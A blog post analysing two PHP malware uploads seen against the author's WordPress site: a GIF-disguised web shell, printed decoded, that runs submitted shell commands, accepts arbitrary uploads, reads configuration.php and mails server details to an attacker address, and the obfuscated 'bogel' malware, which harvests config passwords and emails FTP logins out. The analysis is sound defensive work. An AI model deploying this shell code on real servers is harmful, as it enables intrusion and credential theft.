User-Agent: libwww-perl/5.808
Content-Length: 1927
Content-Type: multipart/form-data; boundary=xYzZY

--xYzZY
Content-Disposition: form-data; name="file"; filename="myluph.jpg"
Content-Type: image/jpeg

GIF89a^A?^A??????????!??^D^A????,????^A?^A??^B^BD^A?;?< ?php
set_time_limit(0);
error_reporting(0);

eval(gzinflate(str_rot13(base64_decode('zUlbQttVFH5eJP7DMBvJj…')))); ?>
--xYzZY
Content-Disposition: form-data; name="name"

myluph.php
--xYzZY--

The uploaded file is identified as a “GIF image data, version 89a, 16129 x 16129” by the UNIX file command. Replacing the eval with print and executing the file (it doesn’t matter if you leave the GIF header intact) via php -f myluph.jpg > myluph.php results in the content below in myluph.php. As you can see it’s a very basic backdoor. It allows for uploading arbitrary files, executing arbitrary shell commands, and has one special command “baca” to return the file ../../configuration.php. When invoked it sends email to jalangsaya@gmail.com with a subject line that begins “Hasil Bajakan” followed by information identifying the infected server.

if (!isset($_SESSION['bajak'])) {
$visitcount = 0;
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "Target ditemukan \n$web$inj";
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE = OFF";}
else {$security= "SAFE_MODE = ON";};
$serper=gethostbyname($_SERVER['SERVER_ADDR']);
$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
mail("jalangsaya@gmail.com", "$body","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor");
mail("jalangsaya@gmail.com", "$body","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor");
$_SESSION['bajak'] = 1;
}
else {$_SESSION['bajak']++;};
if(isset($_GET['clone'])){
$source = $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT']."/.libs.php";
rename($source, $desti);
}
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE : OFF jalanG";}
else {$security= "SAFE_MODE : ON jalanG";}
echo "<title>jalanG</title><br>";
$dataku = "POWERED BY jalanG";
$dataku2 = "ready fresh tools SHELLS FTP CPANEL RDP MAILER";
$dataku3 = "Contact Admin YM :ready.buyer";
echo "<font size=2 color=blue><b>".$dataku."</b><br>";
echo "<font size=2 color=red><b>".$dataku2."</b><br>";
echo "<font size=2 color=blue><b>".$dataku3."</b><br>";
echo "<font size=2 color=#888888><b>".$security."</b><br>";
$cur_user="(".get_current_user().")";
echo "<font size=2 color=#888888><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>";
echo "<font size=2 color=#888888><b>Uname : ".php_uname()."</b><br>";
function pwd() {
$cwd = getcwd();
if($u=strrpos($cwd,'/')){
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\\')){
if($u!=strlen($cwd)-1){
return $cwd.'\\';}
else{return $cwd;};
};
}
echo '<form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form>';
echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>';
if(isset($_POST['submit'])){
$uploaddir = pwd();
if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){
echo "Upload Failed";
} else { echo "Upload Success to ".$uploaddir.$name." Succes! "; }
}
if(isset($_POST['command'])){
$cmd = $_POST['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($cmd)."</font></pre>";
}
elseif(isset($_GET['cmd'])){
$comd = $_GET['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($comd)."</font></pre>";
}
else { echo "<pre><font size=3 color=#000000>".shell_exec('ls -la')."</font></pre>";
}

if(isset($_GET['baca'])){
$conf = file_get_contents("../../configuration.php");
echo $conf;
}

Bogel malware trying to create and run wp-xmlrpc.php

Update 2015-02-23: I saw the second instance of the attack described below from domain cyberneticos.com in Spain (ES) just 2.5 days after the first attack.

Yesterday, I saw a novel attack from 173.205.124.194 at domain inmotionhosting.com in the US. The malware made the following HTTP requests:

POST /2015/05/26//wp-indeks.php HTTP/1.1
POST //wp-indeks.php HTTP/1.1
POST /2015/05/26//wp-content.php?x0x HTTP/1.1
POST //wp-content.php?x0x HTTP/1.1

Each request had the same 255,782 byte payload that looks like (from the last attack listed above):

POST /2015/05/26//wp-content.php?x0x HTTP/1.1
Host: www.skepticism.us
Accept: */*
Content-Length: 255782
Expect: 100-continue
Content-Type: multipart/form-data; boundary=----------------------------3cc4c6faadfb

------------------------------3cc4c6faadfb
Content-Disposition: form-data; name="userfile"; filename="wp-xmlrpc.php"
Content-Type: application/octet-stream

<?php
/*
Ready : all spamtools :)
Ym : envir0nn
*/
$bogel = 'AAmA9n9cncdh7GC2Xud+ih4YuN3ggDnBMGOLOY…'
------------------------------3cc4c6faadfb
Content-Disposition: form-data; name="submit"

Upload
------------------------------3cc4c6faadfb--

Note that I have elided the 255 KB string assigned to $bogel.

The first observation is that this malware seems to be trying to exploit already installed malware in order to install itself. Once the new malware is uploaded I suspect the attacker would try to “GET /wp-xmlrpc.php” in order to execute its code.

The string assigned to $bogel is clearly an obfuscated PHP script. It is followed by statements to decode the obfuscated script and store the result in variable $iHiio and then execute it via return EvAl($iHiio).

Executing everything other than the final EvAl($iHiio); statement shows that $iHiio contains:

EvAl(StR_rOt13(gZInFlAtE(sTr_rOt13(GzinFLAte(Base64_DECOde($iiHiA))))));

The string to be eval’d is

error_reporting(0);
@set_time_limit(0);
$bogel = $_GET['cpanel'];
if (isset($bogel)) {
  eval(gzinflate(base64_decode('vVhtb9s2EP7cAPkPrGqM8ur…)));
  die;
}
eval(gzinflate(str_rot13(base64_decode('7P1sf+M4jjgO//3…))));

So this attack does one thing against WordPress installations that use cPanel (most likely on servers managed by companies that provide web or virtual server hosting) and something else against non-cPanel installations. The code executed by the cpanel branch is 5,288 bytes in length. The non-cpanel branch is 601,097 bytes long.

The attack against cPanel enabled sites starts by emitting some HTML, checking if PHP is running in safe mode and disable execution time limits:

echo '<html><head><title>[&#8224;] bogel - exploit [&#8224;]</title></head><body>';
($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
set_time_limit(0);

It then goes on to extract user names from /etc/passwd. For each user account it looks for passwords in various configuration files such as wp-config.php and manager.php in the directory /home/$user/public_html/. For each password it finds it attempts to login via the FTP protocol to localhost. If the login is successful it sends an email to mxbogel@gmail.com with the username and password.

I’m not going to dissect the entire 600 KB non-cpanel attack but will note a couple of interesting things. The code begins with a signature string containing “recky aka bogel” and the URI http://tools.bogel.co/. It installs some backdoors and creates a web page that displays information about the infected host and provides web forms to make it easy to upload arbitrary files and such. The web page it presents ends with “hidden” text. I say “hidden” because it hides the text by setting the text color to white which effectively makes it invisible unless you look at the HTML source for the page. That text is:

[&#8224;]   ./bogel | Jayalah Indonesia Ku | <a href="http://zone-h.org/archive/notifier=bogel" target="_blank">envir0nn@yahoo.com</a>   [&#8224;]

P.S., Something I didn’t realize (since I know practically nothing about PHP) until analyzing this attack is that PHP is case-insensitive with respect to function names. Which deserves a WTF was the author of this language thinking? I appreciate that they were striving to create a language that would allow non-professional programmers to write PHP programs. Nonetheless that sort of freedom to write RaNdOmShIt() and have it executed is counterproductive. I’m more convinced than ever that PHP needs to die.